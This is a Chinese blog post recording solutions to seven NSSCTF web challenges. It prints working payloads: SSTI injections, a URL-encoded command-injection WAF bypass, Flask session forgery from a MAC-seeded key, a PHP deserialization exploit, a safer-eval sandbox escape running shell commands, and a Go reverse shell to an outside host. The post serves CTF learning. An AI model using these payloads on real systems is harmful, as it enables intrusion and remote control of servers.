NSSCTF web刷题记录3

Sx_zzz2023-10-30 9:06

文章目录

    • [[护网杯 2018]easy_tornado](#[护网杯 2018]easy_tornado)
    • [[NSSRound#V Team]PYRCE](#V Team]PYRCE)
      • [方法一 cp命令](#方法一 cp命令)
      • [方法二 tar命令](#方法二 tar命令)
    • [[CISCN 2019华东南]Web4](#[CISCN 2019华东南]Web4)
    • [[CISCN 2023 华北]ez_date](#[CISCN 2023 华北]ez_date)
    • [[GWCTF 2019]你的名字](#[GWCTF 2019]你的名字)
    • [[GKCTF 2020]ez三剑客-easynode](#[GKCTF 2020]ez三剑客-easynode)
    • [[NSSRound#8 Basic]Upload_gogoggo](#8 Basic]Upload_gogoggo)

[护网杯 2018]easy_tornado

打开题目，发现有三个链接，分别看一下

第一个提示flag位置第二个由题目得知，其为tornado里的render函数
第三个给算MD5的式子，结合访问的参数值，猜测如下

filehash=md5(cookie_secret+md5(filename))

首先我们要找到注入点，filename肯定是文件名，那么只好尝试参数filehash

?filename=/flag.txt&filehash={{7*7}}

发现跳转另一个页面，那么再次输入{``{7*7}}

发现存在注入点，并且被过滤了

这里关键是要去得到cookie_secret的值，借助百度，Tornado框架的附属文件handler.settings中存在cookie_secret，修改下payload
得到cookie_secret后，用脚本生成拼接后的MD5值

（注意是点号连接）

<?php
$a='/fllllllllllllag';
$b='5b4ac501-8d61-4a41-ba8a-97056572c6ea';
$c=md5($b.(md5($a)));
echo $c;

得到flag

[NSSRound#V Team]PYRCE

源码

from flask import Flask, request, make_response 
import uuid 
import os 
# flag in /flag 
app = Flask(__name__) 
def waf(rce): 
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ ' 
    for black in black_list: 
        if black in rce: 
            return False 
    return True 

@app.route('/', methods=['GET']) 
def index(): 
    if request.args.get("Ňśś"): 
        nss = request.args.get("Ňśś") 
        if waf(nss): 
            os.popen(nss) 
        else: 
            return "waf" 
return "/source" 

@app.route('/source', methods=['GET']) 
def source(): 
    src = open("app.py", 'rb').read() 
    return src 

if __name__ == '__main__': 
    app.run(host='0.0.0.0', debug=False, port=8080)

简单的flask框架，在./的路由下存在GET参数，然后绕过waf过滤来命令执行

不难发现黑名单过滤了/，这里用的是pwd构造出/，然后结合存在app.py，我们用cp命令把/flag复制到app.py里面

我们先看一下怎么利用pwd构造出/

首先pwd表示的是当前工作目录
那如果我们构造以下语句

cd ..&&cd ..&&pwd

构造出根目录

方法一 cp命令

我们要把flag复制到app.py，但是我们不知道当前目录是什么，所以多尝试看看需要几个cd ..

payload

cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py

考虑到过滤，先用%09代替空格，然后url编码一下

cp%09%24%28cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26echo%09%24%28pwd%29flag%29%09app%2Epy

由于不能直接打开app.py，我们需要访问./source打开

得到flag

方法二 tar命令

先创建一个静态访问的文档

mkdir%09static

payload

tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
//等效于tar czf static/flag.tar.gz /flag

注：czf为tar命令的参数

然后访问./static/flag.tar.gz下载flag

[CISCN 2019华东南]Web4

考点：seed生成伪随机数，session伪造

打开题目，发现可以读取用户信息
这里查看下网络，发现是python2环境

读取下app.py

源码如下

# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True


@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! Read somethings'


@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
        return 'no response'


@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'


if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0")

源码非常简单，只要session中的username值为fuck即可

我们看看如何伪造session，下面给出key的获取方式

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

uuid.getnode()这个代表着Mac地址，我们尝试读取一下（file用load_file替换）

?url=local_file:///sys/class/net/eth0/address

然后再写脚本去爆破得到key（注意这里是python2环境）

import random
random.seed(0x0242ac02aff2)
print(str(random.random()*233))

然后解密一下

修改为fuck，再加密得到cookie值

bp抓包修改，得到flag

[CISCN 2023 华北]ez_date

考点：MD5强等于，sha1强等于，date函数特性

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

分析一下，首先判断a和b是否为数组，然后进行判断MD5和sha1是否强等于；如果为true，那么将file值传入date函数并赋值给变量content；使用 uniqid() 生成一个唯一的标识符，并将其与 .txt 扩展名拼接为文件名，赋值给变量 $uuid；最后就是进行正则匹配，读取文件

这里绕过强等于可以利用数字1和字符1分别赋值即可绕过，那么我们再来看看date函数，我们本地测试下

<?php
$a='/flag';
print(date($a));

运行结果为fSaturdayam9，可以发现字符串的l和g变成了Saturday和m9，当我们试试防止其转义添加反斜杠时，成功构造出/flag

<?php
$a='/f\l\a\g';
print(date($a));

所以源码中的file值为/f\l\a\g

exp如下

<?php

class date{
    public $a;
    public $b;
    public $file;
}

$A=new date();
$A->a=1;
$A->b='1';
$A->file='/f\l\a\g';
echo base64_encode(serialize($A));

得到flag

[GWCTF 2019]你的名字

考点：ssti

打开题目，尝试输入{``{7*7}}

发现报错，说明存在过滤
替换一下

{%print(7*7)%}

成功注入
我们可以bp抓包fuzz测试下过滤了什么

可以发现class也被过滤了
payload

{%print(lipsum.__globals__['o''s']['pop''en']('env').read())%}

注：过滤了popen，用字符串拼接读取环境变量

得到flag

[GKCTF 2020]ez三剑客-easynode

考点：nodeJs，整数溢出，vm沙箱逃逸

打开题目，查看源码

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度，我就直接这样写了，其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码，用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本，加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

分析一下，当访问./eval路径即收到请求时，会执行此函数。首先会检测是否为./eval路径，然后会定义变量delay，初始值为60秒；如果请求的查询参数 delay 是一个整数，那么会将 delay 更新为当前 delay 和 req.query.delay 中较大的值。

if (Number.isInteger(parseInt(req.query.delay)))

观察到会被强制转换为int型，可以利用整数溢出绕过
然后就是./eval路由，如果请求参数e存在，那么会返回saferEval(req.body.e)

此函数存在命令执行漏洞，搜索一下，会发现要利用vm沙箱逃逸的知识

poc如下

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

即e的值为process

payload

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

得到flag

[NSSRound#8 Basic]Upload_gogoggo

考点：go文件上传，反弹shell

题目提示没有任何过滤，尝试上传一句话木马
这里发现确实上传成功了，但是看到go help

应该是go语言写的，go 1提示未知命令

猜测命令构成为

go 文件名 上传文件

也就是说我们如果上传名为run.go的文件

那么将执行go run run.go，也就是解析我们上传的go文件

go文件反弹shell脚本如下

package main

import (
	"fmt"
	"log"
	"os/exec"
)

func main() {
	cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1")
	out, err := cmd.CombinedOutput()
	if err != nil {
		fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out))
}

可以发现上传成功并且被解析
那么我们nc监听一下，成功反弹shell
然后flag被分成两部分
解码得到flag

相关推荐
轻口味2 分钟前
【每日学点鸿蒙知识】AVCodec、SmartPerf工具、web组件加载、监听键盘的显示隐藏、Asset Store Kit
前端·华为·harmonyos
alikami5 分钟前
【若依】用 post 请求传 json 格式的数据下载文件
前端·javascript·json
虾球xz9 分钟前
游戏引擎学习第55天
学习·游戏引擎
Kai HVZ14 分钟前
python爬虫----爬取视频实战
爬虫·python·音视频
古希腊掌管学习的神16 分钟前
[LeetCode-Python版]相向双指针——611. 有效三角形的个数
开发语言·python·leetcode
m0_7482448319 分钟前
StarRocks 排查单副本表
大数据·数据库·python
oneouto25 分钟前
selenium学习笔记（二）
笔记·学习·selenium
B站计算机毕业设计超人26 分钟前
计算机毕业设计PySpark+Hadoop中国城市交通分析与预测 Python交通预测 Python交通可视化 客流量预测 交通大数据 机器学习 深度学习
大数据·人工智能·爬虫·python·机器学习·课程设计·数据可视化
路人甲ing..29 分钟前
jupyter切换内核方法配置问题总结
chrome·python·jupyter
sealaugh3230 分钟前
aws(学习笔记第十九课) 使用ECS和Fargate进行容器开发
笔记·学习·aws
热门推荐
01【一文读懂】NTN（非地面网络）技术介绍02优化手机性能，解决卡顿问题：关闭这3个微信开关，释放内存空间03玄机平台应急响应—webshell查杀04Cube-Studio：开源大模型全链路一站式中台05基于大语言模型（LLM）的合成数据生成、策展和评估的综述06(欧拉)openEuler系统添加网卡文件配置流程、(欧拉)openEuler系统手动配置ipv6地址流程、(欧拉)openEuler系统网络管理说明07组基轨迹建模 GBTM的介绍与实现（Stata 或 R）08HCIA-datacom数通题库和录播视频资料09Docker 夺命连环 15 问10RAG 实践- Ollama+RagFlow 部署本地知识库